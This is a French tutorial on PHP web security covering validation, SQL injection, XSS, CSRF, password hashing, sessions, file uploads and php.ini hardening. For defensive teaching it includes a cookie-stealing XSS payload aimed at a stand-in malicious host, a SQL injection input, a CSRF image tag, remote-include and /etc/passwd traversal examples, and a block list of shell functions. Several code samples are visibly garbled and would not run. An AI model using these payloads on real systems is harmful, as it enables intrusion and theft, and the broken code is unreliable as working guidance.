Sécurité en PHP

Protégez vos applications PHP contre les vulnérabilités courantes et mettez en œuvre les bonnes pratiques de sécurité.

Introduction à la sécurité en PHP

La sécurité est un aspect fondamental du développement web. Les applications PHP sont souvent la cible d'attaques en raison de leur popularité et de leur présence sur de nombreux sites. Comprendre et mettre en œuvre les bonnes pratiques de sécurité est essentiel pour protéger vos applications et les données des utilisateurs.

Les principaux niveaux de sécurité

Validation des données utilisateur

Vérifier et nettoyer toutes les entrées utilisateur

Protection contre les injections

Prévenir les injections SQL, XSS, et autres attaques

Configuration et déploiement

Sécuriser l'environnement de l'application

Authentification et autorisation sécurisées

Gérer les mots de passe et les sessions de manière sécurisée

Attention : La sécurité est un processus continu, pas un état final. Restez informé des nouvelles vulnérabilités et mettez régulièrement à jour vos connaissances et vos applications.

Validation et filtrage des données utilisateur

La première ligne de défense consiste à valider et filtrer toutes les données provenant de l'utilisateur, qu'elles proviennent de formulaires, d'URL, de cookies ou d'autres sources.

Règle d'or : Ne jamais faire confiance aux données utilisateur

Toute donnée provenant de l'extérieur de votre application doit être considérée comme potentiellement malveillante, et doit être validée et nettoyée avant d'être utilisée.

Code non sécurisé Risque élevé

// Récupération d'un ID sans validation
$id = $_GET['id'];

// Construction de la requête SQL directement avec la variable
$query = "SELECT * FROM utilisateurs WHERE id = $id";

// Récupération d'un nom sans échappement
$nom = $_POST['nom'];
echo "Bonjour, " . $nom . "!";
Code sécurisé Sécurisé

// Validation et conversion en entier
$id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);

if ($id === false || $id === null) {
    // Gestion de l'erreur
    die('ID invalide');
}

// Récupération et échappement d'un nom
$nom = filter_input(INPUT_POST, 'nom', FILTER_SANITIZE_STRING);
echo "Bonjour, " . htmlspecialchars($nom) . "!";

Les fonctions de filtrage en PHP

PHP fournit des fonctions intégrées pour valider et filtrer les données :

Utilisation des fonctions de filtrage

// Validation d'une adresse email
$email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);

if (!$email) {
    echo "L'adresse email est invalide.";
}

// Validation et nettoyage d'une URL
$url = filter_input(INPUT_POST, 'site_web', FILTER_VALIDATE_URL);

// Validation d'un nombre entier avec des options
$age = filter_input(INPUT_POST, 'age', FILTER_VALIDATE_INT, [
    'options' => [
        'min_range' => 1,
        'max_range' => 120
    ]
]);

// Nettoyage d'une chaîne de caractères
$commentaire = filter_input(INPUT_POST, 'commentaire', FILTER_SANITIZE_STRING);

// Assainissement personnalisé avec des expressions régulières
$username = filter_input(INPUT_POST, 'username', FILTER_VALIDATE_REGEXP, [
    'options' => [
        'regexp' => '/^[a-zA-Z0-9_]{3,20}$/'
    ]
]);

Explication détaillée des fonctions de filtrage

Fonction/Filtre Description Exemple d'utilisation
filter_input() Récupère et filtre une variable externe (GET, POST, etc.) en une seule opération. Beaucoup plus sécurisée que l'accès direct aux superglobales. filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
FILTER_VALIDATE_EMAIL Vérifie si la valeur est une adresse email syntaxiquement valide. Renvoie l'email si valide, sinon false. Vérifie le format user@domain.com mais ne garantit pas que l'adresse existe réellement.
FILTER_VALIDATE_URL Vérifie si la valeur est une URL valide selon la RFC. Vérifie le schéma (http, https, etc.) et la syntaxe générale. Utile pour valider les liens, adresses de sites web, ou API endpoints.
FILTER_VALIDATE_INT Vérifie si la valeur est un nombre entier. Accepte les options min_range et max_range pour définir des limites. Parfait pour valider des IDs, âges, quantités ou tout autre entier avec contraintes.
FILTER_SANITIZE_STRING Supprime ou encode les caractères spéciaux HTML. Utile pour nettoyer les entrées textuelles des utilisateurs. À utiliser pour les commentaires, messages, ou toute saisie textuelle libre.
FILTER_VALIDATE_REGEXP Valide une chaîne contre une expression régulière personnalisée. Offre une flexibilité maximale pour des formats spécifiques. Idéal pour valider des noms d'utilisateur, mots de passe, ou formats personnalisés.
FILTER_SANITIZE_NUMBER_INT Supprime tous les caractères sauf les chiffres, + et -. Ne valide pas que le résultat est un entier valide. À combiner avec FILTER_VALIDATE_INT pour une sécurité maximale.

Protection contre les injections SQL

Les injections SQL sont parmi les vulnérabilités les plus courantes et les plus dangereuses dans les applications web. Elles permettent à un attaquant d'exécuter du code SQL malveillant dans votre base de données.

Comment fonctionnent les injections SQL

Exemple d'injection SQL

// Code vulnérable
$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";

// Un attaquant peut entrer: admin' --
// La requête devient alors:
// SELECT * FROM users WHERE username='admin' -- AND password='peu importe'
// Tout ce qui suit -- est considéré comme un commentaire en SQL

Utilisation des requêtes préparées avec PDO

La meilleure façon de prévenir les injections SQL est d'utiliser des requêtes préparées avec PDO ou MySQLi.

Code non sécurisé Risque élevé

$username = $_POST['username'];
$conn = new PDO("mysql:host=$servername;dbname=$dbname", $user, $password);

// Concaténation directe de variables dans la requête SQL
$query = "SELECT * FROM users WHERE username = '$username'";
$result = $conn->query($query);
Code sécurisé Sécurisé

$username = $_POST['username'];
$conn = new PDO("mysql:host=$servername;dbname=$dbname", $user, $password);

// Utilisation de requêtes préparées
$stmt = $conn->prepare("SELECT * FROM users WHERE username = :username");
$stmt->bindParam(':username', $username);
$stmt->execute();

$user = $stmt->fetch(PDO::FETCH_ASSOC);
Requête préparée avec plusieurs paramètres

// Insertion sécurisée de données dans une base
$stmt = $conn->prepare("INSERT INTO users (username, email, created_at) VALUES (:username, :email, :created_at)");

// Liaison des paramètres
$stmt->bindParam(':username', $username);
$stmt->bindParam(':email', $email);
$stmt->bindParam(':created_at', date('Y-m-d H:i:s'));

// Exécution de la requête
$stmt->execute();

// Alternative avec un tableau de valeurs
$stmt = $conn->prepare("SELECT * FROM posts WHERE category = ? AND published = ?");
$stmt->execute([$category, true]);

Important : Les requêtes préparées protègent contre les injections SQL, mais n'oubliez pas que vous devez toujours valider les données en fonction de vos règles métier (par exemple, vérifier qu'un ID est positif ou qu'un email est valide).

Protection contre les attaques XSS (Cross-Site Scripting)

Les attaques XSS permettent à un attaquant d'injecter du code JavaScript malveillant qui s'exécutera dans le navigateur de l'utilisateur. Ces attaques peuvent être utilisées pour voler des cookies de session, rediriger vers des sites malveillants ou manipuler le contenu de la page.

Types d'attaques XSS

Code vulnérable au XSS Risque élevé

// Affichage direct de données utilisateur
$commentaire = $_POST['commentaire'];
echo "<div class='commentaire'>" . $commentaire . "</div>";

// Un attaquant pourrait soumettre :
// <script>document.location='https://site-malveillant.com/steal.php?cookie='+document.cookie</script>
Code protégé contre le XSS Sécurisé

// Échappement des caractères spéciaux HTML
$commentaire = $_POST['commentaire'];
$commentaire_securise = htmlspecialchars($commentaire, ENT_QUOTES, 'UTF-8');

echo "<div class='commentaire'>" . $commentaire_securise . "</div>";

Fonctions de protection contre le XSS

Outils de prévention XSS

// htmlspecialchars - Convertit les caractères spéciaux en entités HTML
$texte_sécurisé = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');

// htmlentities - Convertit tous les caractères qui ont des entités HTML
$texte_sécurisé = htmlentities($input, ENT_QUOTES, 'UTF-8');

// strip_tags - Supprime les balises HTML et PHP
$texte_sans_balises = strip_tags($input);

// strip_tags avec balises autorisées
$texte_formaté = strip_tags($input, '<p><br><strong><em>');

Bonne pratique : Appliquez toujours htmlspecialchars() lors de l'affichage de données provenant de sources externes (base de données, utilisateurs, API, etc.), même si vous pensez avoir déjà nettoyé les données.

En-têtes HTTP de sécurité

Vous pouvez également ajouter des en-têtes HTTP pour renforcer la sécurité contre les attaques XSS :

En-têtes de sécurité

// Content Security Policy (CSP)
header("Content-Security-Policy: default-src 'self';");

// X-XSS-Protection (pour les navigateurs plus anciens)
header("X-XSS-Protection: 1; mode=block");

// X-Content-Type-Options
header("X-Content-Type-Options: nosniff");

// Référrer-Policy
header("Referrer-Policy: strict-origin-when-cross-origin");

Protection contre les attaques CSRF (Cross-Site Request Forgery)

Les attaques CSRF forcent un utilisateur authentifié à exécuter des actions non désirées sur un site web où il est connecté. Par exemple, un attaquant pourrait forcer un utilisateur à changer son mot de passe ou à effectuer un transfert d'argent sans son consentement.

Comment fonctionnent les attaques CSRF

Exemple d'attaque CSRF

// Site vulnérable qui change le mot de passe sans vérification
// http://banque.exemple.com/change_password.php?nouveau_mdp=HackedPass123

// L'attaquant peut créer une page avec ce code :
<img src="http://banque.exemple.com/change_password.php?nouveau_mdp=HackedPass123" width="0" height="0">

// Si l'utilisateur visite cette page malveillante alors qu'il est connecté à sa banque,
// son mot de passe sera changé sans son consentement.

Implémentation d'une protection CSRF

La protection contre le CSRF repose généralement sur l'utilisation de jetons (tokens) uniques :

Formulaire sans protection CSRF Risque élevé

<form action="traitement.php" method="post">
    <input type="text" name="username" />
    <input type="password" name="password" />
    <button type="submit">Connexion</button>
</form>
Formulaire avec protection CSRF Sécurisé

<?php
// Génère un token et le stocke en session
session_start();
if (!isset($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
$token = $_SESSION['csrf_token'];
?>

<form action="traitement.php" method="post">
    <input type="hidden" name="csrf_token" value="<?php echo $token; ?>" />
    <input type="text" name="username" />
    <input type="password" name="password" />
    <button type="submit">Connexion</button>
</form>

Vérification du token CSRF côté serveur

Traitement du formulaire avec vérification CSRF

<?php
session_start();

// Vérification de la présence et validité du token CSRF
if (!isset($_POST['csrf_token']) || 
    !isset($_SESSION['csrf_token']) || 
    $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    
    // Token invalide ou manquant
    die('Erreur de validation CSRF. Veuillez réessayer.');
}

// Régénérer le token après chaque utilisation (protection contre les attaques de rejeu)
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

// Traitement du formulaire...
?>

Gestion de l'expiration des tokens CSRF

Pour plus de sécurité, vous pouvez implémenter une expiration des tokens CSRF :

Tokens CSRF avec expiration

<?php
session_start();

// Génération d'un token avec horodatage
function generateCsrfToken() {
    $token = bin2hex(random_bytes(32));
    $_SESSION['csrf_token'] = $token;
    $_SESSION['csrf_token_time'] = time();
    return $token;
}

// Vérification du token avec expiration (30 minutes)
function validateCsrfToken($token, $expiration = 1800) {
    if (
        !isset($_SESSION['csrf_token']) || 
        !isset($_SESSION['csrf_token_time']) || 
        $token !== $_SESSION[return false;
    }
    
    // Vérification de l'expiration
    if (time() - $_SESSION[$expiration) {
        // Token expiré
        unset($_SESSION[unset($_SESSION[return false;
    }
    
    return true;
}
?>

Conseils avancés pour la protection CSRF :

  • Utilisez des jetons spécifiques à chaque formulaire avec un identifiant unique
  • Régénérez les jetons après chaque utilisation
  • Implémentez une protection "double soumission de cookie" pour les API
  • Utilisez l'en-tête SameSite=Lax ou SameSite=Strict pour les cookies
  • Pour les API REST, utilisez également les en-têtes X-CSRF-TOKEN ou X-XSRF-TOKEN

Sécurité des mots de passe

La gestion sécurisée des mots de passe est essentielle pour protéger les comptes utilisateurs. Les mots de passe ne doivent jamais être stockés en clair dans une base de données.

Cycle de vie d'un mot de passe sécurisé

1. Création

L'utilisateur crée un mot de passe fort selon les règles définies

2. Hashage

Le mot de passe est haché avec un algorithme sécurisé (Argon2id, bcrypt)

3. Stockage

Seul le hash est stocké dans la base de données, jamais le mot de passe en clair

4. Vérification

Lors de la connexion, le mot de passe saisi est haché et comparé au hash stocké

Utilisation des fonctions de hachage modernes

Méthodes obsolètes Risque élevé

// NE JAMAIS UTILISER CES MÉTHODES !
$password = "mot_de_passe";

// Stockage en clair
$stored_password = $password;  // TRÈS DANGEREUX !

// MD5 (cassable en quelques secondes)
$md5_hash = md5($password);  // OBSOLÈTE !

// SHA-1 (également vulnérable)
$sha1_hash = sha1($password);  // OBSOLÈTE !
Méthodes recommandées Sécurisé

// Hashage sécurisé avec password_hash() (utilise bcrypt par défaut)
$password = "mot_de_passe";

// Hashage avec bcrypt (coût par défaut = 10)
$hash = password_hash($password, PASSWORD_DEFAULT);

// Hashage avec bcrypt (coût personnalisé)
$hash = password_hash($password, PASSWORD_BCRYPT, [
    'cost' => 12
]);

// Utiliser Argon2id (PHP 7.3+, recommandé)
$hash = password_hash($password, PASSWORD_ARGON2ID);

Vérification des mots de passe

Vérification sécurisée des mots de passe

// À l'inscription : hashage du mot de passe
$hash = password_hash($_POST['password'], PASSWORD_DEFAULT);
// Stocker $hash dans la base de données

// À la connexion : vérification du mot de passe
// $hash_from_db est récupéré depuis la base de données pour l'utilisateur
if (password_verify($_POST[$hash_from_db)) {
    // Mot de passe correct
    session_start();
    $_SESSION['user_id'] = $user_id;
    
    // Vérifiez si un rehashage est nécessaire (si l'algorithme a été mis à jour)
    if (password_needs_rehash($hash_from_db, PASSWORD_DEFAULT)) {
        $newHash = password_hash($_POST[PASSWORD_DEFAULT);
        // Mettre à jour le hash dans la base de données
    }
} else {
    // Mot de passe incorrect
    echo "Nom d'utilisateur ou mot de passe incorrect";
}

Comparaison des algorithmes de hachage

Algorithme Disponibilité Sécurité Performance Recommandation
Argon2id PHP 7.3+ Excellente Configurable (mémoire, temps, parallélisme) Hautement recommandé
bcrypt PHP 5.5+ Très bonne Configurable (coût) Recommandé
PBKDF2 Via hash_pbkdf2() Bonne Configurable (itérations) Acceptable
SHA-256/SHA-512 Toutes versions Faible (sans sel et itérations) Rapide (problématique) Non recommandé seul
MD5/SHA-1 Toutes versions Très faible Très rapide (problématique) À éviter absolument

Important : Plus un algorithme est lent pour calculer un hash, mieux c'est pour la sécurité des mots de passe. Les algorithmes comme bcrypt et Argon2id sont conçus pour être délibérément lents afin de résister aux attaques par force brute.

Bonnes pratiques pour les mots de passe

Ne stockez jamais les mots de passe en clair ou avec des algorithmes obsolètes (MD5, SHA-1)
Utilisez toujours password_hash() avec PASSWORD_DEFAULT ou PASSWORD_ARGON2ID
Implémentez des politiques de mots de passe forts (longueur minimale, complexité)
Proposez l'utilisation d'un gestionnaire de mots de passe à vos utilisateurs
Implémentez la vérification contre les mots de passe compromis (API Have I Been Pwned)
Mettez en place l'authentification à deux facteurs (2FA) quand c'est possible
Limitez les tentatives de connexion échouées (temporisation progressive)
Envisagez une expiration périodique des mots de passe pour les données sensibles

Sécurité des sessions

Les sessions PHP permettent de stocker des données utilisateur côté serveur pendant la navigation. Elles sont cruciales pour maintenir l'état de l'authentification et doivent être correctement sécurisées.

Configuration recommandée pour les sessions PHP

Configuration sécurisée des sessions

<?php
// Définir les paramètres de cookie de session
ini_set('session.cookie_httponly', 1);  // Empêche l'accès JavaScript au cookie
ini_set('session.cookie_secure', 1);    // Cookies uniquement sur HTTPS
ini_set('session.cookie_samesite', 'Lax');  // Protection CSRF
ini_set('session.use_strict_mode', 1);   // Empêche d'utiliser des ID non créés par PHP
ini_set('session.gc_maxlifetime', 1800);  // 30 minutes d'inactivité maximum

// Démarrer la session
session_start([
    'cookie_lifetime' => 0,          // Session détruite à la fermeture du navigateur
    'read_and_close'  => true,    // Option lecture seule (si vous n'écrivez pas dans la session)
]);
?>

Protection contre la fixation de session

La fixation de session est une attaque où un attaquant force un utilisateur à utiliser un ID de session connu. Pour s'en protéger :

Régénération de l'ID de session

<?php
session_start();

// Lors d'une connexion réussie
if ($login_successful) {
    // Régénérer l'ID de session pour empêcher la fixation
    session_regenerate_id(true); // true pour supprimer l'ancienne session
    
    // Stockez les informations utilisateur dans la session
    $_SESSION['user_id'] = $user_id;
    $_SESSION['user_ip'] = $_SERVER['REMOTE_ADDR'];
    $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
    $_SESSION['last_activity'] = time();
}
?>

Expiration automatique des sessions

Vérification du délai d'inactivité

<?php
session_start();

// Définir le délai d'expiration (30 minutes)
$expiration_time = 30 * 60; // en secondes

// Vérifier si la session contient un horodatage de dernière activité
if (isset($_SESSION['last_activity'])) {
    // Calculer le temps écoulé
    $elapsed_time = time() - $_SESSION['last_activity'];
    
    // Vérifier si le délai d'expiration est dépassé
    if ($elapsed_time > $expiration_time) {
        // Détruire la session
        session_unset();
        session_destroy();
        header('Location: login.php?expired=1');
        exit();
    }
}

// Mettre à jour l'horodatage de dernière activité
$_SESSION['last_activity'] = time();
?>

Attention : Pour des données très sensibles, envisagez d'implémenter des timeouts plus courts (5-15 minutes) et de demander une ré-authentification pour les actions critiques.

Conseils supplémentaires pour la sécurité des sessions

Validez l'adresse IP et/ou l'User-Agent à chaque requête (avec tolérance pour les IP dynamiques)
Stockez les données sensibles de la session cryptées si nécessaire
Utilisez un stockage de session personnalisé (base de données, Redis) pour un meilleur contrôle
Supprimez ou invalidez les sessions inactives côté serveur régulièrement
Fournissez une fonctionnalité de déconnexion qui détruit complètement la session
Régénérez l'ID de session lors des changements de niveau de privilèges

Sécurité des fichiers et des uploads

La gestion des uploads de fichiers est un vecteur d'attaque courant dans les applications web. Un attaquant pourrait tenter d'uploader du code malveillant ou de provoquer des dépassements de mémoire.

Validation des fichiers uploadés

Validation sécurisée des uploads

<?php
if (isset($_FILES['file'])) {
    // Définir les types de fichiers autorisés
    $allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
    
    // Taille maximale (5 MB)
    $max_size = 5 * 1024 * 1024;
    
    // Vérifier le type MIME du fichier
    $file_type = $_FILES['file']['type'];
    if (!in_array($file_type, $allowed_types)) {
        die('Type de fichier non autorisé.');
    }
    
    // Vérifier la taille du fichier
    if ($_FILES['file']['size'] > $max_size) {
        die('Fichier trop volumineux.');
    }
    
    // Générer un nom de fichier unique
    $new_file_name = md5(uniqid(rand(), true)) . '.' . 
                     pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
    
    // Chemin de destination (hors de la racine web)
    $upload_dir = __DIR__ . '/../uploads/';
    $destination = $upload_dir . $new_file_name;
    
    // Déplacer le fichier vers sa destination
    if (move_uploaded_file($_FILES['file']['tmp_name'], $destination)) {
        echo 'Fichier uploadé avec succès.';
    } else {
        die('Erreur lors de l\'upload du fichier.');
    }
    
    // Validation supplémentaire pour les images
    if (strpos($file_type, 'image/') === 0) {
        // Vérifier que c'est bien une image valide
        $image_info = getimagesize($destination);
        if ($image_info === false) {
            // Le fichier n'est pas une image valide
            unlink($destination); // Supprimer le fichier
            die('Le fichier n\'est pas une image valide.');
        }
    }
}
?>

Protection des répertoires d'uploads avec .htaccess

Pour les serveurs Apache, vous pouvez sécuriser davantage les répertoires d'uploads :

Fichier .htaccess pour dossier d'uploads

# Désactiver l'exécution des scripts dans ce répertoire
<FilesMatch "\.(?:php|pl|py|cgi|asp|js)$">
    Order Deny,Allow
    Deny from all
</FilesMatch>

# Autoriser seulement certains types de fichiers
<FilesMatch "\.(?:jpg|jpeg|png|gif|pdf|doc|docx|xls|xlsx)$">
    Order Allow,Deny
    Allow from all
</FilesMatch>

# Protection supplémentaire
Options -Indexes -ExecCGI
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi
php_flag engine off

Inclusion sécurisée de fichiers

Les fonctions d'inclusion de fichiers (include, require) peuvent présenter des risques si elles utilisent des paramètres contrôlés par l'utilisateur :

Inclusion non sécurisée Risque élevé

// Inclusion dangereuse basée sur un paramètre GET
$page = $_GET['page'];
include($page . '.php');

// Un attaquant peut utiliser : ?page=http://site-malveillant.com/malware
// Ou : ?page=../../../etc/passwd%00 (injection null byte)
Inclusion sécurisée Sécurisé

// Définir une liste blanche de pages autorisées
$allowed_pages = ['accueil', 'contact', 'apropos', 'produits'];

// Récupérer et valider le paramètre
$page = filter_input(INPUT_GET, 'page', FILTER_SANITIZE_STRING);

// Vérifier si la page est dans la liste autorisée
if (in_array($page, $allowed_pages)) {
    include('pages/' . $page . else {
    // Page par défaut
    include('pages/accueil.php');
}

Conseils supplémentaires pour la sécurité des fichiers :

  • Stockez les fichiers uploadés en dehors de la racine web ou dans un répertoire protégé
  • Renommez systématiquement les fichiers uploadés pour éviter les conflits et les attaques
  • Utilisez des mécanismes d'antivirus si vous acceptez des types de fichiers à risque
  • Préférez include() et require() avec des chemins absolus
  • Validez et sanitisez toujours les données utilisateur avant de les utiliser dans des noms de fichiers

Configuration sécurisée de PHP

La configuration du serveur PHP joue un rôle crucial dans la sécurité globale de votre application. Certains paramètres par défaut peuvent exposer des informations sensibles ou permettre des comportements dangereux.

Directives importantes dans php.ini

Masquer les informations sensibles


; Masquer la version et autres informations de PHP
expose_php = Off

; Désactiver l'affichage des erreurs en production
display_errors = Off
display_startup_errors = Off

; Journaliser les erreurs à la place
log_errors = On
error_log = /chemin/vers/php_errors.log

Contrôle des ressources et limites


; Limiter la taille maximale des uploads de fichiers
upload_max_filesize = 2M
post_max_size = 8M

; Limiter la durée maximale d'exécution des scripts
max_execution_time = 30
max_input_time = 60

; Limiter la consommation de mémoire
memory_limit = 128M

Sécurité des sessions


; Stockage sécurisé des sessions
session.use_strict_mode = 1
session.use_cookies = 1
session.use_only_cookies = 1
session.cookie_secure = 1
session.cookie_httponly = 1
session.cookie_samesite = "Lax"
session.gc_maxlifetime = 1440

Désactiver les fonctionnalités dangereuses


; Désactiver les fonctions dangereuses
disable_functions = system,exec,shell_exec,passthru,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,phpinfo

; Désactiver l'inclusion de fichiers distants
allow_url_fopen = Off
allow_url_include = Off

Vérifier votre configuration PHP

Vous pouvez utiliser un script pour vérifier votre configuration actuelle :

Script de vérification de la configuration

<?php
// IMPORTANT: À utiliser UNIQUEMENT dans un environnement de développement ou sécurisé
// Ne pas déployer en production

$secure_settings = [
    // Sécurité générale
    'expose_php' => ['value' => false, 'risk' => 'medium'],
    'display_errors' => ['value' => false, 'risk' => 'medium', 'environment' => 'production'],
    'log_errors' => ['value' => true, 'risk' => 'medium'],
    
    // Sécurité des inclusions
    'allow_url_fopen' => ['value' => false, 'risk' => 'allow_url_include' => ['value' => false, 'critical'],
    
    // Sécurité des sessions
    'session.use_strict_mode' => ['value' => 'risk' => 'session.use_only_cookies' => ['value' => 'risk' => 'session.cookie_httponly' => ['value' => 'risk' => 'session.cookie_secure' => ['value' => 'risk' => 'high'],
    'session.cookie_samesite' => ['value' => 'risk' => 'medium']
];

$environment = 'development'; // Changez en 'production' pour la production

echo "<h2>Vérification de la configuration PHP</h2>";
echo "<table border='1' cellpadding='5'>";
echo "<tr><th>Directive</th><th>Valeur actuelle</th><th>Recommandation</th><th>Niveau de risque</th><th>Statut</th></tr>";

foreach ($secure_settings as $directive => $config) {
    // Ignorer les directives spécifiques à un environnement
    if (isset($config['environment']) && $config[$environment) {
        continue;
    }
    
    $current_value = ini_get($directive);
    $status = '❌';
    
    // Convertir les valeurs string "0"/"1" en booléens pour la comparaison
    if ($current_value === '0') $current_value = false;
    if ($current_value === '1') $current_value = true;
    
    // Comparaison avec la valeur recommandée
    if (is_bool($config[if (($config[true && ($current_value === true || $current_value === '1' || $current_value === 'On')) || 
            ($config[false && ($current_value === false || $current_value === $current_value === 'Off' || $current_value === ''))) {
            $status = '✅';
        }
    } else if ($current_value == $config[$status = '✅';
    }
    
    // Afficher la ligne dans le tableau
    echo "<tr>";
    echo "<td>" . htmlspecialchars($directive) . "</td>";
    echo "<td>" . htmlspecialchars(is_bool($current_value) ? ($current_value ? 'true' : 'false') : $current_value) . "</td>";
    echo "<td>" . htmlspecialchars(is_bool($config[$config['true' : 'false') : $config["</td>";
    echo "<td style='color: " . ($config['risk'] === 'critical' ? 'red' : ($config['risk'] === 'high' ? 'orangered' : 'orange')) . "'>" . ucfirst($config['risk']) . "</td>";
    echo "<td>" . $status . "</td>";
    echo "</tr>";
}

echo "</table>";
?>

Important : Ce script de vérification doit être utilisé uniquement en environnement de développement, puis supprimé avant le déploiement en production. Il expose des informations sur votre configuration qui pourraient être exploitées par des attaquants.

Pratiques recommandées : En plus de configurer correctement php.ini, envisagez d'utiliser des outils comme mod_security pour Apache ou des solutions de pare-feu applicatif web (WAF) pour une protection supplémentaire.

Liste de contrôle de sécurité PHP

Voici une liste de contrôle complète pour sécuriser vos applications PHP :

Sécurité essentielle

Valider et filtrer toutes les entrées utilisateur avec filter_input(), filter_var(), ou des validations spécifiques
Utiliser des requêtes préparées PDO pour toutes les opérations de base de données
Échapper les sorties avec htmlspecialchars() pour prévenir le XSS
Implémenter une protection CSRF pour les formulaires et actions sensibles
Utiliser password_hash() et password_verify() pour la gestion des mots de passe
Configurer correctement les cookies de session (httpOnly, secure, SameSite)
Régénérer l'ID de session après connexion (session_regenerate_id(true))
Valider rigoureusement les uploads de fichiers (type, taille, contenu)
Utiliser HTTPS pour toutes les communications

Sécurité avancée

Mettre en place une authentification à deux facteurs (2FA)
Implémenter une politique de limitation des tentatives (rate limiting)
Configurer les en-têtes de sécurité HTTP (Content-Security-Policy, X-XSS-Protection, etc.)
Utiliser un mécanisme de journalisation des événements de sécurité
Mettre en œuvre une gestion d'erreur qui ne divulgue pas d'informations sensibles
Effectuer des audits de sécurité réguliers et des tests de pénétration
Garder PHP et toutes les dépendances à jour
Désactiver les fonctions PHP dangereuses dans la configuration du serveur
Stocker les fichiers sensibles en dehors de la racine web

Ressources de sécurité PHP